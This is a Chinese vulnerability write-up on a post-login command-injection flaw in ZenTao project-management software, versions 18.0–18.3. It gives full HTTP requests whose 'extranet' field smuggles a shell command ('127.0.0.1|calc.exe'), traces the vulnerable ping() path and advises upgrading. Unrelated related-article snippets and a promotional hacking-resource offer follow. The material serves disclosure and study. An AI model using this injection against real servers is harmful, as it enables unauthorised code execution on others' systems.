禅道后台命令执行漏洞二

2023-11-11

漏洞简介

禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。
禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。

禅道后台存在 RCE 漏洞,存在于 V18.0-18.3 之间,经过复现分析,发现漏洞来源于新增加的一个功能模块。

环境搭建

源码下载地址 https://www.zentao.net/dl/zentao/18.2/ZenTaoPMS.18.2.php7.2_7.4.zip

利用 phpstudy 来进行环境的搭建

漏洞复现

登录后台后访问添加宿主机

imageimage在 ip 域名处 拼接恶意 payload 触发漏洞

POST /index.php?m=zahost&f=create HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722
Connection: close

vsoft=kvm&hostType=physical&name=test2&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za

image

漏洞分析

这是禅道新增加的一个功能

image

image增加新功能的同时也带来了新的风险点

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

module/zahost/control.php#create

image

module/zahost/model.php#create

image

module/zahost/model.php#checkAddress

image

module/zahost/model.php#ping

image整个漏洞触发流程在断点调试的过程中一目了然

POST /index.php?m=zahost&f=edit&hostID=1 HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722;XDEBUG_SESSION=PHPSTORM
Connection: close

vsoft=kvm&hostType=physical&name=test4&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za

这样也是可以触发的

model.php:119, zahostModel-\>ping()
model.php:149, zahostModel-\>checkAddress()
model.php:94, zahostModel-\>update()
control.php:130, zahost-\>edit()
router.class.php:2199, router-\>loadModule()
index.php:74, {main}()

修复建议

更新至最新版本

image执行命令时对地址进行了校验

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

禅道后台命令执行漏洞二 的相关文章

  • React学习第二天元素渲染

    一 前言 1 对于一个单页面应用 我们最终要将react元素挂载到页面根节点 通常设置为root根节点 该节点内的所有内容都将由 React DOM 管理 2 挂载的过程就是渲染的过程 react提供了相应是api实现这个过程 二 元素渲染
  • Java如何实现统计在线人数的功能?

    很多人在笔试或者面试中问到 现在要你实现一个统计在线人数的功能 你该怎么设计 不知道的朋友 这篇文章告诉你 先说答案 可以利用监听器Listener来实现 目录 1 监听器的简介 2 Java监听器的类型 1 ServletContextL
  • 深入理解“字符编码模型”

    优质资源分享 学习路线指引 点击解锁 知识定位 人群定位 Python实战微信订餐小程序 进阶级 本课程是python flask 微信小程序的完美结合 从项目搭建到腾讯云部署上线 打造一个全栈订餐系统 Python量化交易实战 入门级 手
  • Python基于OpenCV库Adaboost实现人脸识别功能详

    本文实例讲述了Python基于OpenCV库Adaboost实现人脸识别功能 分享给大家供大家参考 具体如下 以前用Matlab写神经网络的面部眼镜识别算法 研究算法逻辑 采集大量训练数据 迭代 计算各感知器的系数 相当之麻烦 而现在运用调

随机推荐

  • STDOUT/STDERR重定向到ALOG中

    说下背景 现在众多Android开发者新添加的Google暂时并不会支持的功能 比如拨号上网 USB打印机等等 一般的实现方法就是静态编译Linux的相对开源库和程序 一般是C C 语言 然后由Apk一层一层调用 最终是调用这个命令来实现的
  • mpeg4 码流格式及判断关键帧

    MPEG4码流视频关键帧头部16个字节 非关键帧8个字节 均包含四字节ID 说明如下 关键帧 字节 0 1 2 3 4 5 6 7 8 9 A B C D E F 值 0 0 1 FB XX R W H Date time Length 含
  • Java 序列化与反序列化(Serialization)

    一 什么是 为什么需要 序列化 Serialization 是将对象的状态信息转化为可以存储或者传输的形式的过程 反序列化则为其逆过程 内存的易失性 传输需要 一些应用场景中需要将对象持久化下来 以便在需要的时候进行读取 二 JDK提供的A
  • 前端 面经/编码规范/教程/安装总结

    文章目录 面经 编码规范 学习教程 安装 配置环境 遇到过的问题 实习之后发现了很多东西 所以最近就梳理了一些前端可能用到的教程等等 链接已经放在下面了 同样也是为了方便自己查阅 面经 震惊 前端300基础面试题 答案 分类学习整理 良心制
  • 将项目 上传到Git上面

    使用git bash命令上传 1 通过命令行创建一个新的版本库 touch README md git init git add REAIME md git commit m first commit git remote add orig
  • Pow(x, n)

    Pow x n 思路 x n x x n 2 当n为偶数 x n x x n 2 x 当n为奇数 当n为负数时 x n 1 x n 注意 对边界条件的处理 当n INT MIN时 直接取负会溢出 https discuss leetcode
  • Mybatis-plus使用注解 @TableField(exist = false) 注明非数据库字段属性

    TableField exist false 注解加载bean属性上 表示当前属性不是数据库的字段 但在项目中必须使用 这样在新增等使用bean的时候 mybatis plus就会忽略这个 不会报错
  • 批量删除.svn文件夹、.svn文件

    http www phpvar com archives 311 html 使用svn进行版本控制 每个文件夹下都有 svn文件夹 有些项目在脱离svn版本控制之后 想删除项目中所有的 svn文件夹 可用下面的方法进行快速删除 1 打开要删
  • Vue基础精讲 —— 实例解析Vue的生命周期

    结合官网Vue生命周期图例 实例生命周期钩子 vue生命周期 import Vue from vue new Vue el root template div text div data text text beforeCreate 无法做
  • C语言计算机二级/C语言期末考试 刷题(四)

    收集了一些经典C语言计算机二级和C语言期末考试题库 整理不易 大家点赞收藏支持一下 祝大家计算机二级和期末考试都高分过 系列文章 C语言计算机二级 C语言期末考试 刷题 一 C语言计算机二级 C语言期末考试 刷题 二 C语言计算机二级 C语
  • dedecms织梦系统基本参数添加内容后首页显示后台空白不显示

    最近跟版网的小编在测试织梦模板时候发现 添加首页名称 版权信息 备案号等 保存后首页能显示 但是后台却没有文字 更新缓存也没用 那么这种情况该如何解决呢 小编告诉您 找到 dede templets sys info htm这个文件 里边找
  • syslog协议介绍

    syslog协议介绍 syslog架构 Unix Linux系统中的大部分日志都是通过一种叫做syslog的机制产生和维护的 syslog是一种标准的协议 分为客户端和服务器端 客户端是产生日志消息的一方 而服务器端负责接收客户端发送来的日
  • python unicodedecodeerror utf8_python问题,我运用python做中文词频分析的时候总是显示UnicodeDecodeError: 'utf-8'问题?...

    以下是我在python3 7idle中写的的语句importjiebatxt open E study pythondata 应用资料 三国演义 txt r encoding utf 8 read words jieba lcut txt
  • “Dependency ‘com.mysql:mysql-connector-j:‘ not found “等无法找到依赖问题解决

    在创建新的springboot项目时如果碰到 说明在该新建的项目中没有导入下列依赖 本人解决步骤 1 新建一个Maven工程 2 在该工程中加入自己想创建的springboot模块 3 将爆红的依赖复制粘贴进Maven项目中的pom xml
  • Mybatis查询where条件报 java.lang.IllegalStateException: range unbounded on this side解决方案

    Mybatis查询where条件报 java lang IllegalStateException range unbounded on this side解决方案 问题背景 解决方案 Lyric 就算是我不懂 问题背景 在使用id进行条件
  • docker-compose的使用

    一 docker compose命令 docker compose的使用非常类似于docker命令的使用 但是需要注意的是大部分的compose命令都需要到docker compose yml文件所在的目录下才能执行 docker comp
  • 数学建模笔记(三):数据预处理

    文章目录 前言 一 数据清洗 1 1 缺失值处理 1 2 异常值处理 二 数据变换 2 1 线性变换 2 2 向量规范化 2 3 min max归一化 2 4 z score标准化 三 数据预处理案例及代码实现 3 1 线性变换 代码实现
  • 【算法】算法学习四:图

    文章目录 一 什么是图 二 广度优先搜索 三 什么是队列 四 广度优先搜索的实现 4 1 实现全部的代码 4 2 队列的实现 五 深度优先搜索 六 图的运行时间 6 1 广度优先搜索 6 2 深度优先搜索 一 什么是图 在计算机科学中 图
  • Python静态方法和类方法的区别和应用(无师自通)

    实际上 Python 完全支持定义类方法 甚至支持定义静态方法 Python 的类方法和静态方法很相似 它们都推荐使用类来调用 其实也可使用对象来调用 类方法和静态方法的区别在于 Python会自动绑定类方法的第一个参数 类方法的第一个参数
  • 禅道后台命令执行漏洞二

    漏洞简介 禅道是第一款国产的开源项目管理软件 它集产品管理 项目管理 质量管理 文档管理 组织管理和事务管理于一体 是一款专业的研发项目管理软件 完整地覆盖了项目管理的核心流程 禅道管理思想注重实效 功能完备丰富 操作简洁高效 界面美观大方